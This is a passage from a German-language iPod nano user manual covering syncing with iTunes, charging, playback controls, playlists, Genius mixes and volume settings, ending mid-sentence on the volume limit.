In den Einstellungen können Sie auch festlegen, wie Videos, Radiosendungen und Fotos wiedergegeben werden. Weitere Informationen finden Sie unter:
• Kapitel 5, Videos, auf Seite 29.
• Kapitel 6, FM-Radiosendungen, auf Seite 32.
• Kapitel 8, Fotos, auf Seite 43.Kapitel 3 Grundlagen 13
Zurücksetzen von Einstellungen
Sie können den iPod nano auf Standardwerte zurücksetzen, ohne dass Ihre synchronisierten
Inhalte beeinträchtigt werden.
Alle Einstellungen zurücksetzen
1 Tippen Sie im Home-Bildschirm auf „Einstellungen“.
2 Tippen Sie auf „Einstellungen zurücksetzen“.
3 Tippen Sie auf „Zurücksetzen“ oder „Abbrechen“, wenn Sie die Einstellungen nicht
zurücksetzen wollen.
4 Tippen Sie auf Ihre Sprache und dann auf „Fertig“.
Verbinden und Trennen des iPod nano
Sie verbinden den iPod nano mit Ihrem Computer, um Dateien zu synchronisieren und die
iPod nano-Batterie aufzuladen. Es ist möglich, gleichzeitig Musiktitel zu synchronisieren und die
Batterie aufzuladen.
Wichtig: Die Batterie wird nicht aufgeladen, wenn sich Ihr Computer im Ruhezustand oder
Standby-Modus befindet.
Verbinden des iPod nano mit Ihrem Computer
iTunes synchronisiert Musiktitel auf dem iPod nano automatisch, wenn Sie ihn mit dem
Computer verbinden, es sei denn, Sie haben andere Synchronisierungseinstellungen in
iTunes gewählt.
Den iPod nano mit Ihrem Computer verbinden
m Schließen Sie das mitgelieferte Lightning-Kabel an einen USB 3.0- oder einen High-PowerUSB 2.0-Anschluss Ihres Computers an. Schließen Sie das andere Ende des Kabels an den
iPod nano an.
Der USB-Anschluss der meisten Tastaturen liefert nicht ausreichend Strom, um den iPod nano
zu laden.
Trennen des iPod nano von Ihrem Computer
Ist die Hintergrundbeleuchtung deaktiviert, drücken Sie zum Aktivieren die Standby-Taste, sodass
Sie die Meldung auf dem Bildschirm sehen können.
Den iPod nano trennen
m Warten Sie, bis der Home-Bildschirm oder eine Meldung angezeigt wird, das Sie die Verbindung
trennen können. Trennen Sie dann die Kabelverbindung zum iPod nano.
Trennen Sie den iPod nano nicht, während die Meldung „Verbunden“ oder „Synchronisieren“
angezeigt wird. Wenn eine dieser Meldungen angezeigt wird, müssen Sie den iPod nano vor
dem Trennen vom Computer auswerfen, um eine Beschädigung der Dateien auf dem iPod nano
zu vermeiden.
Den iPod nano auswerfen
m In iTunes wählen Sie „Steuerung“ > „Medium auswerfen“ oder klicken Sie auf die Auswurftaste
neben iPod nano.
m Wenn Sie einen Mac verwenden, können Sie das iPod nano-Symbol vom Schreibtisch in den
Papierkorb bewegen. Kapitel 3 Grundlagen 14
m Wenn Sie einen Windows-PC verwenden, können Sie den iPod nano im Bildschirm „Mein
Computer“ auswerfen, indem Sie auf das Symbol für das sichere Entfernen von Hardware im
Windows-Infobereich klicken und den iPod nano auswählen.
Falls Sie den iPod nano versehentlich vom Computer trennen, ohne ihn auszuwerfen, verbinden
Sie ihn wieder mit Ihrem Computer und synchronisieren Sie ihn erneut.
Informationen zur Batterie
ACHTUNG: Wichtige Informationen zur Sicherheit bei der Handhabung von Batterien und zum
Aufladen des iPod nano finden Sie unter Wichtige Sicherheitsinformationen auf Seite 68.
Der iPod nano hat eine interne Batterie, die vom Benutzer nicht entfernt oder ausgetauscht
werden kann. Optimale Ergebnisse erzielen Sie, wenn Sie die Batterie beim erstmaligen
Verwenden des iPod nano mindestens drei Stunden lang aufladen bzw. so lange aufladen, bis
das Batteriesymbol anzeigt, dass die Batterie vollständig aufgeladen ist.
Die Batterie des iPod nano ist nach ungefähr eineinhalb Stunden zu 80 Prozent und nach
ungefähr drei Stunden vollständig aufgeladen. Wenn Sie den iPod nano aufladen, während Sie
Dateien hinzufügen, Musik abspielen, Radiosendungen anhören oder eine Diashow ansehen,
dauert der Ladevorgang u. U. länger.
Aufladen der Batterie
Sie können die Batterie des iPod nano aufladen, indem Sie den iPod nano an Ihren Computer
oder an den Apple USB Adapter (separat erhältlich) anschließen.
Die Batterie über Ihren Computer aufladen
m Schließen Sie den iPod nano an einen USB 3.0- oder einen High-Power-USB 2.0-Anschluss
Ihres Computers an. Der Computer muss eingeschaltet sein und darf sich nicht im
Ruhezustand befinden.
Wichtig: Wenn die Meldung „Bitten laden Sie die Batterie auf“ auf dem Bildschirm des iPod nano
angezeigt wird, muss erst die Batterie geladen werden, bevor der iPod nano mit Ihrem Computer
kommunizieren kann. Vgl. Auf dem iPod nano wird die Meldung „Bitte laden Sie die Batterie auf“
angezeigt auf Seite 64.
Wenn Sie den iPod nano aufladen möchten und Ihr Computer nicht in der Nähe ist, können Sie
den optional erhältlichen Apple USB Power Adapter (Netzteil) verwenden.
Die Batterie mit dem Apple USB Power Adapter aufladen
1 Schließen Sie das Lightning-Kabel an den Apple USB Power Adapter an.
2 Schließen Sie das andere Ende des Lightning-Kabels an den iPod nano an.Kapitel 3 Grundlagen 15
3 Schließen Sie den Apple USB Power Adapter an eine funktionierende Steckdose an.
Apple USB Power Adapter
(Ihr Netzteil kann anders aussehen)
Lightning-auf-USB-Kabel
ACHTUNG: Vergewissern Sie sich, dass das Netzteil korrekt zusammengesetzt ist, bevor Sie es
an eine Steckdose anschließen.
Die verschiedenen Symbole für den Batteriestatus
Wenn der iPod nano nicht an eine Stromquelle angeschlossen ist, zeigt ein Batteriesymbol oben
rechts im iPod nano-Bildschirm an, wie viel Batterieladung ungefähr noch vorhanden ist.
Die Batterie ist weniger als 20 % aufgeladen.
Die Batterie ist etwa zur Hälfte aufgeladen.
Die Batterie ist vollständig aufgeladen.
Ist der iPod nano am Stromnetz angeschlossen, ändert sich das Batteriesymbol, wenn die Batterie
aufgeladen wird bzw. vollständig aufgeladen ist. Es ist möglich, den iPod nano vom Computer zu
trennen und ihn zu verwenden, bevor die Batterie vollständig aufgeladen ist.
Die Batterie wird aufgeladen (Blitzsymbol)
Die Batterie ist vollständig aufgeladen (Steckersymbol)
Hinweis: Die Anzahl der Ladezyklen bei wiederaufladbaren Batterien ist begrenzt. Daher
müssen diese Batterien irgendwann von einem Apple Autorisierten Service-Partner ersetzt
werden. Die Batterielaufzeit und die Anzahl der Ladezyklen hängt von der Nutzung und von den
Einstellungen ab. Informationen hierzu finden Sie unter www.apple.com/de/batteries.
Einsparen von Batteriestrom
Der iPod nano spart während der Wiedergabe auf intelligente Weise den Batteriestrom. Zum
Einsparen von Batteriestrom wird die Bildschirmanzeige des iPod nano ausgeblendet, wenn Sie
den Bildschirm 20 Sekunden lang nicht berühren, und dann ausgeschaltet. Drücken Sie auf die
Standby-Taste, um den Bildschirm wieder ein- bzw. auszuschalten.
Der Bildschirm schaltet sich automatisch aus, wenn auf dem iPod nano keine Aktivität verzeichnet wird (keine Audio- oder Videowiedergabe erfolgt oder bei der Schrittzählung keine
Bewegung registriert wird). Zum Wiedereinschalten des iPod nano drücken Sie die Standby-Taste.
Sie können den iPod nano auch vollständig ausschalten, indem Sie die Standby-Taste einige
Sekunden lang gedrückt halten. Zum Wiedereinschalten des iPod nano, nachdem er auf diese
Weise ausgeschaltet wurde, halten Sie die Standby-Taste einige Sekunden lang gedrückt. Kapitel 3 Grundlagen 16
Das Ausschalten des iPod nano bewirkt Folgendes:
• Die Wiedergabe von Musik und anderen Audiodateien wird gestoppt
• Angehaltene Radiosendungen werden gelöscht
• Eine evtl. wiedergegebene Diashow wird gestoppt
• Ein evtl. wiedergegebenes Video wird gestoppt
• Ein gerade aufgezeichnetes Sprachmemo wird gesichert
• Die Schrittzählung wird gestoppt
• Nike+-Trainingsdaten werden gestoppt und gesichert
Ist der iPod nano ausgeschaltet, hören Sie kein Wecksignal, wenn der Timer abgelaufen ist. Wenn
Sie den iPod nano wieder einschalten, ertönen die Wecksignale wie geplant, sofern die eingestellte Zeit noch nicht abgelaufen ist.
Wenn Sie nicht mit einem Bluetooth-Gerät verbunden sind oder Sie ein solches Gerät nicht verwenden, deaktivieren Sie zum Einsparen von Batteriestrom Bluetooth unter „Einstellungen“ >
„Bluetooth“.
Konfigurieren der iTunes-Synchronisierung
iTunes ist eine kostenlose Software, mit der Sie Musik, Hörbücher, Podcasts, Fotos, Videos und
iTunes U-Sammlungen mit Ihrem Computer und dem iPod nano synchronisieren und Ihre
Trainingsdaten an die Nike+ Website senden können. Sie benötigen iTunes 10.7 (oder neuer), um
die iPod nano-Funktionen zu verwenden.
Sie können Inhalte im iTunes Store (verfügbar in bestimmten Ländern) anhören oder ansehen
und in iTunes auf Ihren Computer laden. Näheres zu iTunes und den iTunes Store erfahren Sie,
indem Sie iTunes öffnen und „Hilfe“ > „iTunes-Hilfe“ auswählen.
Automatisches Synchronisieren
Wenn Sie den iPod nano mit Ihrem Computer verbinden, wird er automatisch mit den Objekten
in Ihrer iTunes-Mediathek aktualisiert. Nach der Aktualisierung wird in iTunes eine entsprechende
Nachricht angezeigt. Ein Balken unten im iTunes-Fenster zeigt, wie viel Speicherplatz von den
verschiedenen Inhalten belegt wird. Der iPod nano kann mit nur jeweils einem Computer automatisch synchronisiert werden.
Wichtig: Wenn Sie den iPod nano zum ersten Mal mit einem Computer verbinden, mit dem
er nicht synchronisiert ist, werden Sie in einer Meldung gefragt, ob Sie Titel automatisch synchronisieren möchten. Wenn Sie dies bestätigen, werden alle Musiktitel, Hörbücher und anderen Inhalte auf dem iPod nano gelöscht und durch die Musiktitel und anderen Dateien dieses
Computers ersetzt.
Sie können die Synchronisierung des iPod nano verhindern, wenn er mit einem anderen als dem
normalerweise zur Synchronisierung verwendeten Computer verbunden wird.
Die automatische Synchronisierung für den iPod nano deaktivieren
1 Schließen Sie den iPod nano an Ihren Computer an und starten Sie iTunes.
2 Deaktivieren Sie die Option „iTunes öffnen, wenn dieser iPod angeschlossen wird“ im Abschnitt
„Übersicht“.
3 Klicken Sie auf „Anwenden“.
Wenn Sie die automatische Synchronisierung deaktiviert haben, können Sie die Synchronisierung
durch Tippen auf die Taste „Synchronisieren“ starten.Kapitel 3 Grundlagen 17
Manuelles Verwalten des iPod nano
Wenn Sie den iPod nano manuell verwalten, haben Sie die Möglichkeit, Inhalte von mehreren Computern zum iPod nano hinzuzufügen, ohne Objekte zu löschen, die bereits auf dem
iPod nano abgelegt sind.
Wenn Sie den iPod nano für das manuelle Verwalten von Musiktiteln konfiguriert haben,
werden die Optionen zur automatischen Synchronisierung in den Bereichen „Musik“, „Podcasts“,
„iTunes U“ und „Fotos“ deaktiviert. Es ist nicht möglich, einige Kategorien manuell zu verwalten
und gleichzeitig andere automatisch zu synchronisieren.
Hinweis: Wenn Sie Ihre Inhalte manuell verwalten, funktionieren Genius-Mixe nicht. Sie können
Genius-Wiedergabeliste weiterhin mit dem iPod nano synchronisieren und nach einer manuellen
Synchronisierung der Genius-Inhalte auf dem iPod erstellen. Vgl. Abspielen von Genius-Mixen
auf Seite 26.
iTunes für das manuelle Verwalten von Inhalten konfigurieren
1 Öffnen Sie die iTunes-Einstellungen (im Menü unter iTunes) und klicken Sie auf „Geräte“.
2 Wählen Sie „Automatische Synchronisierung für alle iPhones, iPods und iPad s deaktivieren“.
Klicken Sie anschließend auf „OK“.
3 Wählen Sie den iPod nano im iTunes-Fenster aus und klicken Sie auf „Übersicht“.
4 Wählen Sie „Musik und Videos manuell verwalten“ im Abschnitt „Optionen“ aus.
5 Klicken Sie auf „Anwenden“.
Wenn Sie den Inhalt auf dem iPod nano manuell verwalten, müssen Sie den iPod nano immer in
iTunes auswerfen, bevor Sie ihn vom Computer trennen. Vgl. Trennen des iPod nano von Ihrem
Computer auf Seite 13. Sie können den iPod nano jederzeit zurücksetzen, um die automatische
Synchronisierung wieder zu aktivieren. Deaktivieren Sie die Option „Musik manuell verwalten“
und klicken Sie auf „Anwenden“. Möglicherweise müssen Sie Ihre Synchronisierungsoptionen
erneut auswählen.
Übertragen gekaufter Inhalte auf einen anderen Computer
Inhalte, die Sie mit einem bestimmten Computer über iTunes gekauft haben, können vom
iPod nano in die iTunes-Mediathek eines anderen Computers übertragen werden. Damit Sie die
Inhalte abspielen können, muss der andere Computer für die Wiedergabe von Inhalten mit Ihrem
iTunes-Account aktiviert werden.
Übertragen gekaufter Inhalte auf einen anderen Computer
1 Öffnen Sie iTunes auf dem anderen Computer und wählen „Store“ > „Computer aktivieren“.
2 Verbinden Sie den iPod nano mit dem soeben aktivierten Computer.
3 Starten Sie iTunes, öffnen Sie das Menü „Ablage“ bzw. „Datei“ und wählen Sie „Einkäufe vom iPod
übertragen“ aus.4
18
Mit dem iPod nano ist es sehr einfach Musiktitel, Podcasts und iTunes U-Programme zu finden
und abzuspielen. Sie können Titel wiederholen, schnell vorspulen, in Zufallsfolge wiedergeben
und den Multi-Touch-Bildschirm zum Erstellen von Wiedergabelisten verwenden. Sie können
einen Genius-Mix – Titel aus Ihrer Mediathek, die gut zusammenpassen – oder eine GeniusWiedergabeliste auf Basis Ihres Lieblings-Songs abspielen.
ACHTUNG: Wichtige Informationen zum Vermeiden von Hörschäden finden Sie unter
Kapitel 14, Sicherheit und Handhabung, auf Seite 68.
Abspielen von Musik
Während der Wiedergabe eines Titels wird dessen Albumcover auf dem Bildschirm „Sie hören“
angezeigt und in der Statusleiste oben in den anderen Bildschirmen werden die Symbole „Start“
( ) oder „Pause“ ( ) angezeigt. Sie können während der Wiedergabe von Musik oder anderen
Audioinhalten Musiktitel auf dem iPod nano durchsuchen und Einstellungen ändern.
Hinweis: Der iPod nano muss auf dem Computer ausgeworfen werden, damit Musiktitel und
andere Audiotitel abgespielt werden können.
Einen Musiktitel abspielen
Führen Sie einen der folgenden Schritte aus:
m Tippen Sie im Home-Bildschirm auf „Musik“, eine Kategorie (Wiedergabelisten, Alben oder eine
andere Kategorie) und dann auf einen Titel.
m Drücken Sie die Start/Pause-Taste (zwischen den Lautstärketasten), um einen zufälligen Titel wiederzugeben. Wurde ein Titel angehalten, wird dessen Wiedergabe fortgesetzt.
m Schütteln Sie den iPod nano kurz, um die Titel in zufälliger Folge abzuspielen.
Musik und andere AudiodateienKapitel 4 Musik und andere Audiodateien 19
Wenn Sie den iPod nano während der Wiedergabe von Musik oder anderen Audiodateien ausschalten (indem Sie die Standby-Taste drücken und halten), wird die Wiedergabe angehalten.
Wenn Sie den iPod nano wieder einschalten, tippen Sie auf oder drücken Sie die Start/PauseTaste, um die Wiedergabe fortzusetzen.
Musiktitel in der Musik-Mediathek finden
Führen Sie einen der folgenden Schritte aus:
m Blättern Sie durch Streichen in Listen mit Titeln und Alben, tippen Sie auf die Menüleiste, um
zum Anfang einer Liste zurückzukehren.
m Streichen Sie von rechts nach links über einen Titel, um dessen Text einzublenden (der Text wird
weitergeblättert, sodass Sie ihn komplett lesen können).
m Bewegen Sie Ihren Finger in einer Indexliste nach unten, um einen Großbuchstaben über der
Liste einzublenden. Heben Sie den Finger an, wenn der gewünschte Buchstabe angezeigt wird.
Steuern der Wiedergabe von Musiktiteln
Sie können die Wiedergabe mit den Bedienelementen im Bildschirm „Sie hören“, der Start/
Pause-Taste (zwischen den Lautstärketasten auf dem iPod nano), den Tasten an den Apple
EarPods mit Fernbedienung und Mikrofon (separat erhältlich) und anderen kompatiblen
Audiogeräten steuern.
Titelposition
Bedienelemente
für den Titel
Lautstärke
Zum Einblenden dieser
Bedienelemente auf
Bildschirm tippenKapitel 4 Musik und andere Audiodateien 20
Für folgende Funktionen verwenden Sie die iPod nano-Bedienelemente und -Tasten:
Anhalten eines Musiktitels Tippen Sie auf , drücken Sie die Start/Pause-Taste
(zwischen den Lautstärketasten) oder trennen Sie
die EarPods.
Abspielen eines gestoppten Musiktitels Tippen Sie auf oder drücken Sie die Start/PauseTaste (zwischen den Lautstärketasten).
Erneutes Abspielen eines Musiktitels Tippen auf .
Abspielen des vorherigen Musiktitels Tippen Sie zweimal auf .
Wechseln zum nächsten Musiktitel Tippen Sie auf oder drücken Sie die Start/PauseTaste (zwischen den Lautstärketasten) zweimal.
Schneller Vor-/Rücklauf eines Musiktitels Legen Sie den Finger auf oder auf .
Wiederholen von Musiktiteln Tippen Sie auf den Bildschirm „Sie hören“ und dann
auf . Tippen Sie erneut und weitere Optionen
anzuzeigen:
= Wiederholt alle Titel des aktuellen Albums oder
der aktuellen Liste.
= Wiederholt permanent nur den aktuellen Titel.
Erstellen einer Genius-Wiedergabeliste Starten Sie die Wiedergabe und tippen Sie auf den
Bildschirm „Sie hören“ und auf .
Zufällige Wiedergabe von Titeln Tippen Sie auf den Bildschirm „Sie hören“ und dann
auf .
Wenn die Schüttelfunktion in den Einstellungen aktiviert ist, schütteln Sie den iPod nano kurz.
Springen zu einer beliebigen Stelle in
einem Musiktitel
Bewegen Sie die Abspielposition auf dem
Bedienelement für die Titelposition. Streichen Sie mit
dem Finger nach unten, um die Geschwindigkeit zu
verringern und eine höhere Präzision zu erreichen. Je
weiter Sie mit dem Finger nach unten streichen, desto
genauer lässt sich die Geschwindigkeit regulieren.
Musiktitel bewerten Tippen Sie auf den Bildschirm „Sie hören“ und auf
und bewegen Sie den Finger über die Punkte oben
im Bildschirm.
Musiktitel eines Albums anzeigen Tippen Sie auf den Bildschirm „Sie hören“ und auf
oder tippen Sie auf das Album in der Albumsliste.
Audiowiedergabe umleiten Tippen Sie auf das Symbol zum Umleiten der
Audiowiedergabe neben dem Lautstärkeregler und
dann auf das Gerät, an das die Audiowiedergabe
geleitet werden soll.Kapitel 4 Musik und andere Audiodateien 21
Zufällige Wiedergabe von Titeln
Sie können Musiktitel, Alben oder Wiedergabelisten in zufälliger Folge abspielen und festlegen,
dass der iPod nano die Zufallswiedergabe startet, wenn Sie ihn schütteln.
Hier einige Möglichkeiten für die Zufallswiedergabe von Musik:
Zufällige Wiedergabe und Abspielen aller Titel Tippen Sie oben in der Titelliste auf „Zufällig“. Der
iPod nano startet die Wiedergabe der Titel in der
iPod nano-Mediathek in zufälliger Reihenfolge
und lässt dabei Hörbücher, Podcasts und iTunes
U-Sammlungen aus.
Titel im Bildschirm „Sie hören“ in zufälliger
Reihenfolge abspielen
Tippen Sie auf den Bildschirm und dann auf .
Verwenden der Schüttelfunktion Schütteln Sie den iPod nano, wenn die
Bildschirmanzeige zu sehen ist, um die
Zufallswiedergabe zu starten. Ist die
Bildschirmanzeige aus, drücken Sie vor dem Schütteln
die Standby-Taste. Die Option „Schüttelfunktion“
ist standardmäßig aktiviert, kann jedoch in den
Einstellungen deaktiviert werden.
Abspielen von Podcasts, Hörbüchern und iTunes U-Sammlungen
Bei Podcasts handelt es sich um kostenlose, ladbare Sendungen, die im iTunes Store verfügbar
sind. Podcasts sind unterteilt nach Sendungen, Folgen innerhalb der Sendungen und Kapiteln
innerhalb der Folgen. Wenn Sie die Wiedergabe eines Podcasts stoppen und später fortsetzen,
wird sie an der Stelle fortgesetzt, an der sie unterbrochen wurde.
Hörbücher können im iTunes Store gekauft und geladen werden. Wenn Sie Hörbücher
anhören, die Sie im iTunes Store oder bei audible.de erworben haben, können Sie die
Wiedergabegeschwindigkeit schneller oder langsamer als normal einstellen. Ein Hörbuch-Symbol
erscheint nur dann auf dem Home-Bildschirm, wenn Sie Hörbücher aus Ihrer iTunes-Mediathek
synchronisiert haben.
iTunes U gehört zum iTunes Store und stellt kostenlose Vorlesungen, Sprachkurse und mehr
bereit, die Sie laden und mit dem iPod nano abspielen können. Die iTunes U-Inhalte sind nach
Sammlungen, Objekten innerhalb von Sammlungen, Autoren und Anbietern sortiert. Ein iTunes
U-Symbol erscheint nur dann auf dem Home-Bildschirm, wenn Sie iTunes U-Inhalte aus Ihrer
iTunes-Mediathek synchronisiert haben.Kapitel 4 Musik und andere Audiodateien 22
Podcasts, Hörbücher und iTunes U-Sammlungen finden
m Tippen Sie im Home-Bildschirm auf „Podcasts“ (oder „Hörbücher“ oder „iTunes U“) und dann auf
eine Sendung oder einen Titel.
Podcasts, Hörbücher und iTunes U-Inhalte werden ebenfalls unter „Musik“ aufgelistet.
Podcast-Sendungen und iTunes U-Sammlungen werden in chronologischer Reihenfolge angezeigt, sodass Sie sie in der Reihenfolge ihres Erscheinens abspielen können. Ein blauer Punkt markiert Sendungen und Folgen, die noch nicht abgespielt wurden. Nachdem eine Podcast-Folge
oder ein iTunes U-Programm abgespielt wurde, wird die Wiedergabe der nächsten noch nicht
bzw. teilweise abgespielten Folge automatisch gestartet.
Weitere Informationen zu Podcasts erhalten Sie, indem Sie iTunes öffnen und „Hilfe“ > „iTunesHilfe“ wählen. Suchen Sie dann nach „Podcasts“.
Steuern der Wiedergabe von Podcasts, Hörbüchern und iTunes
U-Sammlungen
Die Bedienelemente für Podcasts, Hörbücher und iTunes U-Sammlungen unterscheiden sich
leicht von denen für Musiktitel.
Titelposition
Bedienelemente
für den Titel
Lautstärke
Zum Einblenden dieser
Bedienelemente auf
Bildschirm tippenKapitel 4 Musik und andere Audiodateien 23
Mit den Bedienelementen auf dem Bildschirm und den iPod nano-Tasten können Sie die
Wiedergabe von Podcasts, iTunes U-Inhalten und Hörbüchern wie folgt steuern:
Pause Tippen Sie auf , trennen Sie die EarPods oder
drücken Sie die Start/Pause-Taste (zwischen den
Lautstärketasten).
Angehaltenes Programm fortsetzen Tippen Sie auf oder drücken Sie die Start/PauseTaste (zwischen den Lautstärketasten).
Erneutes Starten Tippen auf .
Abspielen der vorherigen Folge oder des
vorherigen Kapitels
Tippen Sie beim Starten der Folge oder des Kapitel
auf oder während der Wiedergabe zweimal auf .
Abspielen der nächsten Folge bzw. des
nächsten Kapitels
Tippen Sie auf oder drücken Sie die Start/PauseTaste (zwischen den Lautstärketasten) zweimal.
Springen zu einer beliebigen Stelle in einem
Podcast, Hörbuch oder einer iTunes U-Sammlung
Bewegen Sie die Abspielposition auf dem
Bedienelement für die Titelposition. Streichen Sie mit
dem Finger nach unten, um die Geschwindigkeit zu
verringern und eine höhere Präzision zu erreichen. Je
weiter Sie mit dem Finger nach unten streichen, desto
genauer lässt sich die Geschwindigkeit regulieren.
Wiedergabe der letzten 30 Sekunden Tippen Sie auf den Bildschirm „Sie hören“ und dann
auf .
Festlegen der Wiedergabegeschwindigkeit Tippen Sie auf den Bildschirm „Sie hören“ und
dann auf . Tippen Sie ein weiteres Mal, um die
Geschwindigkeit zu ändern.
= Wiedergabe erfolgt mit
doppelter Geschwindigkeit.
= Wiedergabe erfolgt mit
normaler Geschwindigkeit.
= Wiedergabe erfolgt mit halber Geschwindigkeit.
Anzeigen von Folgen oder Kapiteln für Podcasts,
iTunes U oder Hörbücher
Tippen Sie auf den Bildschirm „Sie hören“ und dann
auf .
Anzeigen von Informationen über Podcasts, iTunes
U oder Hörbücher
Tippen Sie auf den Bildschirm „Sie hören“.Kapitel 4 Musik und andere Audiodateien 24
Erstellen von Wiedergabelisten auf dem iPod nano
Auch wenn der iPod nano nicht mit Ihrem Computer verbunden ist, können Sie eigene
Wiedergabelisten mit Musiktiteln, Podcasts und Hörbüchern erstellen oder mit der Funktion
„Genius“ Genius-Wiedergabelisten anlegen. Wiedergabelisten, die Sie auf dem iPod nano anlegen, werden mit iTunes synchronisiert, wenn Sie den iPod nano mit Ihrem Computer verbinden.
Erstellen und Bearbeiten von Wiedergabelisten
Sie können eigene Wiedergabelisten auf dem iPod nano erstellen und bearbeiten.
Wiedergabeliste erstellen
1 Tippen Sie im Home-Bildschirm auf „Musik“ > „Wiedergabelisten“.
2 Streichen Sie nach unten und tippen Sie auf „Hinzufügen“.
3 Tippen Sie auf eine Kategorie (Musiktitel, Alben, Podcasts usw.) und dann auf die Objekte, die Sie
hinzufügen wollen.
Tippen Sie erst auf „Fertig“, wenn Sie alle Objekte zur Wiedergabeliste hinzugefügt haben.
4 Streichen Sie nach links, um weitere Inhalte hinzuzufügen.
Sie können Inhalte aus jeder Kategorie hinzufügen. Sie können beispielsweise Podcasts mit
Musiktiteln in einer Wiedergabeliste mischen.
5 Tippen Sie abschließend auf „Fertig“.
Die neue Wiedergabeliste wird mit „Neue Wiedergabeliste 1“ (oder „Neue Wiedergabeliste 2“
usw.) benannt. Bei der nächsten Synchronisierung können Sie diesen Namen in iTunes ändern.
Wenn Sie die Synchronisierung erneut starten, wird der Name der Wiedergabeliste auf dem
iPod nano aktualisiert.
Objekte aus einer Wiedergabeliste entfernen
1 Tippen Sie im Home-Bildschirm auf „Musik“ > „Wiedergabelisten“ und dann auf die
Wiedergabeliste, die Sie bearbeiten möchten.
2 Streichen Sie nach unten und tippen Sie auf „Bearbeiten“.
3 Tippen Sie auf neben dem Objekt, das Sie löschen wollen. Tippen Sie anschließend auf
„Löschen“, wenn diese Taste rechts neben dem Objekt angezeigt wird.Kapitel 4 Musik und andere Audiodateien 25
4 Tippen Sie abschließend auf „Fertig“.
Wiedergabeliste löschen
1 Tippen Sie im Home-Bildschirm auf „Musik“ > „Wiedergabelisten“.
2 Streichen Sie nach unten und tippen Sie auf „Bearbeiten“.
3 Tippen Sie auf neben der Wiedergabeliste, die Sie löschen wollen. Tippen Sie anschließend auf
„Löschen“, wenn diese Taste neben der Liste angezeigt wird.
Wenn Sie versehentlich auf die falsche Wiedergabeliste getippt haben, tippen Sie einfach nochmals auf die Liste, die gelöscht werden soll.
4 Tippen Sie auf „Löschen“ bzw. auf „Abbrechen“, wenn Sie Ihre Meinung geändert haben.
5 Wenn Sie fertig sind, streichen Sie nach oben und tippen auf „Fertig“ (oder streichen Sie nach
rechts, um nach dem Tippen auf „Abbrechen“ zum Home-Bildschirm zurückzukehren).
Erstellen einer intelligenten Wiedergabeliste auf der Basis von Bewertungen für Musiktitel
Sie können Musiktiteln eine Bewertung hinzufügen (von 0 bis zu 5 Sternen), um anzugeben,
wie sehr Ihnen ein Titel gefällt. Die Wertungen, die Sie Musiktiteln auf dem iPod nano zuweisen,
werden bei der Synchronisierung an iTunes übertragen. Diese Bewertungen helfen Ihnen dabei,
automatisch intelligente Wiedergabelisten in iTunes zu erstellen.
Einen Musiktitel bewerten
1 Tippen Sie während der Wiedergabe auf den Bildschirm „Sie hören“.
2 Tippen auf .
3 Tippen Sie oben im Bildschirm auf die Wertungspunkte oder bewegen Sie den Finger darüber
( ), um die Anzahl der Sterne zuzuweisen.
Erstellen von Genius-Wiedergabelisten
Bei einer Genius-Wiedergabeliste handelt es sich um eine Sammlung von Musiktiteln,
die gut zu einem von Ihnen gewählten Titel aus Ihrer Mediathek passen. Sie können
Genius-Wiedergabelisten auf dem iPod nano erstellen und die mit iTunes erstellten
Genius-Wiedergabelisten synchronisieren.
Genius ist ein kostenloser Dienst, zu dessen Nutzung ein iTunes Store-Account erforderlich ist.
Informationen zum Einrichten der Funktion „Genius“ in iTunes erhalten Sie, indem Sie iTunes
öffnen und „Hilfe“ > „iTunes-Hilfe“ wählen. Kapitel 4 Musik und andere Audiodateien 26
Eine Genius-Wiedergabeliste auf dem iPod nano erstellen
1 Starten Sie die Wiedergabe und tippen Sie auf den Bildschirm „Sie hören“.
2 Tippen auf .
Die neue Wiedergabeliste wird angezeigt. Sie sehen eine Meldung, wenn eine der folgenden
Bedingungen zutrifft:
• Sie haben Genius in iTunes nicht aktiviert.
• Genius erkennt den ausgewählten Musiktitel nicht.
• Genius erkennt den Musiktitel, aber in Ihrer Mediathek befinden sich nicht mindestens zehn
ähnliche Titel.
3 Streichen Sie nach oben oder unten, um die Titel in der Wiedergabeliste anzuzeigen.
4 Tippen Sie auf „Sichern“.
Die Wiedergabeliste wird mit dem Namen und Interpreten des Titels gesichert, den Sie zum
Erstellen der Wiedergabeliste verwendet haben.
Wenn Sie eine gesicherte Wiedergabeliste aktualisieren, ersetzt die neue Liste die vorherige. Die
vorherige Wiedergabeliste kann nicht wiederhergestellt werden.
Die auf dem iPod nano gesicherten Genius-Wiedergabelisten werden wieder mit iTunes synchronisiert, wenn Sie den iPod nano an Ihren Computer anschließen.
Abspielen von Genius-Mixen
iTunes erstellt automatisch Genius-Mixe, die Titel aus Ihrer Mediathek enthalten, die gut zusammenpassen. Mit Genius-Mixen genießen Sie Ihre Titel jedes Mal neu.
Einen Genius-Mix abspielen
1 Tippen Sie im Home-Bildschirm auf „Musik“ > „Genius-Mixe“.
2 Streichen Sie nach links oder rechts, um die Genius-Mixe zu durchblättern. Die Punkte unten auf
dem Bildschirm geben an, wie viele Genius-Mixe auf dem iPod nano vorhanden sind.
3 Tippen Sie auf dem Genius-Mix, den Sie abspielen wollen. auf .Kapitel 4 Musik und andere Audiodateien 27
Anpassen der Lautstärke
ACHTUNG: Wichtige Informationen zum Vermeiden von Hörschäden finden Sie unter
Kapitel 14, Sicherheit und Handhabung, auf Seite 68.
Die Lautstärketasten befinden sich an der Seite des iPod nano. Drücken Sie die Taste „Lauter“
oder „Leiser“, um die Lautstärke während der Wiedergabe einzustellen.
Hinweis: In einigen Ländern zeigt der iPod nano möglicherweise an, dass Sie eine höhere die
Lautstärke eingestellt haben, als die in Richtlinien zum Sicheren Hören der Europäischen Union
definierte. Wenn Sie die Lautstärke höher als auf diesen Wert einstellen wollen, müssen Sie möglicherweise zunächst das Einstellen der Lautstärke stoppen und dann erneut beginnen. Heben
Sie zum Beispiel Ihren Finger von der Lautstärketaste ab und legen sie ihn erneut darauf.
Sie können einen Equalizer-Einstellung festlegen, indem Sie auf dem iPod nano „Einstellungen“ >
„Musik“ wählen. Wenn Sie in iTunes einem Musiktitel eine Equalizer-Einstellung zugewiesen
haben und der iPod nano Equalizer deaktiviert ist, wird für die Wiedergabe des Titels die iTunesEinstellung verwendet.
Im Folgenden werden weitere Einstellungen beschrieben, mit denen Sie die maximale Lautstärke
festlegen und die Audioqualität verbessern können.
Einstellen der Obergrenze für die Lautstärke
Sie können auf Ihrem iPod nano eine Obergrenze für die Lautstärke festlegen und dieser eine
Zahlenkombination zuweisen, mit der verhindert wird, dass die Einstellung ohne Ihre Kenntnis
